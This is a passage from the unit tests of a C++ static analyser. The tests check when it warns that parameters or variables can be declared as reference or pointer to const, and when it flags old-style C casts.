Variable 'x' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10980\n \" for (int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:6:16]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(const auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" int& j = i;\\n\"\n \" j++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int& i = v[0];\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map >& m, unsigned int i) {\\n\"\n \" std::map& members = m[i];\\n\"\n \" members.clear();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int& x;\\n\"\n \" A(int& y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A(int& x);\\n\"\n \"};\\n\"\n \"struct B : A {\\n\"\n \" B(int& x) : A(x)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int& x, int& y) {\\n\"\n \" auto& z = x;\\n\"\n \" auto& w = b ? y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"int& f(S& s) {\\n\"\n \" return s.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::list& x, unsigned int y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return &m;\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::list& x, int& y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool from_string(int& t, const std::string& s) {\\n\"\n \" std::istringstream iss(s);\\n\"\n \" return !(iss >> t).fail();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9710\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n //cast or assignment to a non-const reference should prevent the warning\n check(\"struct T { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const T& z = x;\\n\" // Make sure we find all assignments\n \" T& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = x\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::type& y = x;\\n\" // we don't know if y is const or not\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x)\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U const * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::fancy const * const * const y = dynamic_cast const * const * const>(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (typename const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (typename U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = (U*)(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct C { void f() const; };\\n\" // #9875 - crash\n \"\\n\"\n \"void foo(C& x) {\\n\"\n \" x.f();\\n\"\n \" foo( static_cast(0) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"class a {\\n\"\n \" void foo(const int& i) const;\\n\"\n \" void operator()(int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n // #9767\n check(\"void fct1(MyClass& object) {\\n\"\n \" fct2([&](void){}, object);\\n\"\n \"}\\n\"\n \"bool fct2(std::function lambdaExpression, MyClass& object) {\\n\"\n \" object.modify();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9778\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B& f(A& x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10002\n check(\"using A = int*;\\n\"\n \"void f(const A& x) {\\n\"\n \" ++(*x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10086\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i) {\\n\"\n \" std::vector& arr = v;\\n\"\n \" return arr[i];\\n\"\n \" }\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void e();\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void ai(void);\\n\"\n \"void j(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void l(void);\\n\"\n \"void m(void);\\n\"\n \"void n(void);\\n\"\n \"void o(void);\\n\"\n \"void q(void);\\n\"\n \"void r(void);\\n\"\n \"void t(void);\\n\"\n \"void u(void);\\n\"\n \"void v(void);\\n\"\n \"void w(void);\\n\"\n \"void z(void);\\n\"\n \"void aj(void);\\n\"\n \"void am(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void ao(wchar_t *d);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void ap(wchar_t *c, int d);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void aq(char *b, size_t d, char *c, int a);\\n\"\n \"void ar(char *b, size_t d, char *c, va_list a);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void as(std::string s);\\n\"\n \"void at(std::ifstream &f);\\n\"\n \"void au(std::istream &f);\\n\"\n \"void av(std::string &aa, std::wstring &ab);\\n\"\n \"void aw(bool b, double x, double y);\\n\"\n \"void ax(int i);\\n\"\n \"void ay(std::string c, std::wstring a);\\n\"\n \"void az(const std::locale &ac);\\n\"\n \"void an();\\n\"\n \"void ba(std::ifstream &f);\\n\"\n \"void bb(std::istream &f) {\\n\"\n \"f.read(NULL, 0);\\n\"\n \"}\\n\"\n \"void h(void) {\\n\"\n \"struct tm *tm = 0;\\n\"\n \"(void)std::asctime(tm);\\n\"\n \"(void)std::asctime(0);\\n\"\n \"}\\n\"\n \"void bc(size_t ae) {\\n\"\n \"wchar_t *ad = 0, *af = 0;\\n\"\n \"struct tm *ag = 0;\\n\"\n \"(void)std::wcsftime(ad, ae, af, ag);\\n\"\n \"(void)std::wcsftime(0, ae, 0, 0);\\n\"\n \"}\\n\"\n \"void k(void) {}\\n\"\n \"void bd(void);\\n\"\n \"void be(void);\\n\"\n \"void bf(int b);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void bg(wchar_t *p);\\n\"\n \"void bh(const std::list &ak, const std::list &al);\\n\"\n \"void ah();\\n\"\n \"void an();\\n\"\n \"void h();\");\n ASSERT_EQUALS(\"[test.cpp:131:12]: (style) Variable 'tm' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:136:19]: (style) Variable 'af' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:137:12]: (style) Variable 'ag' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&) noexcept;\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i) noexcept\\n\"\n \" : c(i)\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int, int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(0, i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"void f(std::map> &map) {\\n\" // #10266\n \" for (auto &[slave, panels] : map)\\n\"\n \" panels.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void f(); int i; };\\n\"\n \"void call_f(S& s) { (s.*(&S::f))(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S& s) { int* p = s.a; *p = 0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\" // #9910\n \" int* p{};\\n\"\n \" int* get() { return p; }\\n\"\n \" const int* get() const { return p; }\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" int j{};\\n\"\n \" void f(Foo& foo) const { int* q = foo.get(); *q = j; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10679\n \" void g(long L, const C*& PC) const;\\n\"\n \" void g(long L, C*& PC);\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" C* PC{};\\n\"\n \" s.g(0, PC);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10785\n check(\"template \\n\"\n \"struct d {\\n\"\n \" T& g(C& c, T C::*f) { return c.*f; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m) {\\n\"\n \" std::cout << m[0] << std::endl;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\" // #11607\n \" for (auto& m : v)\\n\"\n \" std::cout << m[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\" // #11473\n \"void f(std::vector>&m, int*& p) {\\n\"\n \" auto& a = m[0];\\n\"\n \" for (auto& s : a) {\\n\"\n \" p = &s.i;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g(int* p, int& r) {\\n\" // #11625\n \" if (p)\\n\"\n \" return *p;\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template void f(std::vector& d, const std::vector& s) {\\n\" // #11632\n \" for (const auto& e : s) {\\n\"\n \" T* newE = new T(*e);\\n\"\n \" d.push_back(newE);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11682\n check(\"struct b {\\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct c {\\n\"\n \" const b& get() const;\\n\"\n \" b get();\\n\"\n \"};\\n\"\n \"struct d {\\n\"\n \" void f(c& e) const {\\n\"\n \" e.get().mutate();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual void f() const {} };\\n\" // #11528\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" D* d = dynamic_cast(b);\\n\"\n \" if (d)\\n\"\n \" d->f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:8]: (style) Variable 'd' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (int* i : v)\\n\"\n \" g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:15]: (style) Variable 'i' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\" // #11225\n \" A();\\n\"\n \" virtual ~A();\\n\"\n \"};\\n\"\n \"struct B : A {};\\n\"\n \"void f(A* a) {\\n\"\n \" const B* b = dynamic_cast(a);\\n\"\n \"}\\n\"\n \"void g(A* a) {\\n\"\n \" const B* b = (const B*)a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:6:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:9:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" template \\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct b {};\\n\"\n \"template \\n\"\n \"void f(a& x) {\\n\"\n \" x.mutate();\\n\"\n \"}\\n\"\n \"template \\n\"\n \"void f(const b&)\\n\"\n \"{}\\n\"\n \"void g(a& c) { f(c); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" template \\n\"\n \" T* g() {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" template \\n\"\n \" const T* g() const {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" char* m;\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" const int* p = s.g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #11818\n \"std::istream& f(std::istream& is, S& s) {\\n\"\n \" return is >> s.x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(std::string& s1, std::string& s2) {\\n\" // #12203\n \" return &s1 == &s2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 's1' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:1:38]: (style) Parameter 's2' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void f(int& r) {\\n\" // #12214\n \" (void)(true);\\n\"\n \" if (r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'r' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S { void f(int&); };\\n\" // #12216\n \"void g(S& s, int& r, void (S::* p2m)(int&)) {\\n\"\n \" (s.*p2m)(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int& r) { p = &r; }\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(std::vector& v1, std::vector& v2) {\\n\"\n \" std::transform(v1.begin(), v1.end(), v2.begin(), [](auto& x) { return &x; });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class T;\\n\" // #11869\n \"class E {\\n\"\n \"public:\\n\"\n \" class F {\\n\"\n \" public:\\n\"\n \" explicit F(const T* t);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(T& t) {\\n\"\n \" std::list c(1, E::F(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct T;\\n\"\n \"struct U {\\n\"\n \" struct V { explicit V(const T* p); };\\n\"\n \"};\\n\"\n \"void g(U::V v);\\n\"\n \"void f(T& t) {\\n\"\n \" g(U::V(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f1(std::vector& v) {\\n\" // #11207\n \" auto it = v.cbegin();\\n\"\n \" while (it != v.cend()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f2(std::vector& v) 